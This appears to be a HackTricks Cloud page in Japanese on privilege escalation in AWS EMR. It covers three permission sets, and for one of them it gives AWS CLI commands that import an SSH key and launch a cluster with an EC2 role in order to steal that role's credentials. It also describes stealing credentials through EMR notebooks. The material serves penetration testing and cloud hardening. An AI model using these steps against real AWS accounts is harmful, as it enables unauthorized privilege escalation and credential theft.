AWS - EMR Privesc
Reading time: 5 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
EMR
More info about EMR in:
iam:PassRole
, elasticmapreduce:RunJobFlow
これらの権限を持つ攻撃者は、EC2ロールをアタッチして新しいEMRクラスターを実行し、その資格情報を盗もうとすることができます。
これを行うには、アカウントにインポートされたsshプライベートキーを知っているか、インポートする必要があり、マスターノードでポート22を開くことができる必要があります(--ec2-attributes
内のEmrManagedMasterSecurityGroup
および/またはServiceAccessSecurityGroup
の属性を使用してこれを行うことができるかもしれません)。
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
EMRロールが--service-role
で指定され、ec2ロールが--ec2-attributes
で指定されていることに注意してください。ただし、この技術はEC2ロールの資格情報を盗むことしかできず(ssh経由で接続するため)、EMR IAMロールを盗むことはできません。
潜在的な影響: 指定されたEC2サービスロールへの権限昇格。
elasticmapreduce:CreateEditor
, iam:ListRoles
, elasticmapreduce:ListClusters
, iam:PassRole
, elasticmapreduce:DescribeEditor
, elasticmapreduce:OpenEditorInConsole
これらの権限を持つ攻撃者は、AWSコンソールにアクセスし、ノートブックを作成してそれにアクセスし、IAMロールを盗むことができます。
caution
ノートブックインスタンスにIAMロールをアタッチしても、私のテストではAWS管理の資格情報を盗むことができ、関連するIAMロールに関連する資格情報は盗めないことに気付きました。
潜在的な影響: AWS管理ロールarn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfileへの権限昇格。
elasticmapreduce:OpenEditorInConsole
この権限だけで、攻撃者はJupyterノートブックにアクセスし、それに関連するIAMロールを盗むことができます。
ノートブックのURLはhttps://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
です。
caution
ノートブックインスタンスにIAMロールをアタッチしても、私のテストではAWS管理の資格情報を盗むことができ、関連するIAMロールに関連する資格情報は盗めないことに気付きました。
潜在的な影響: AWS管理ロールarn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfileへの権限昇格。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。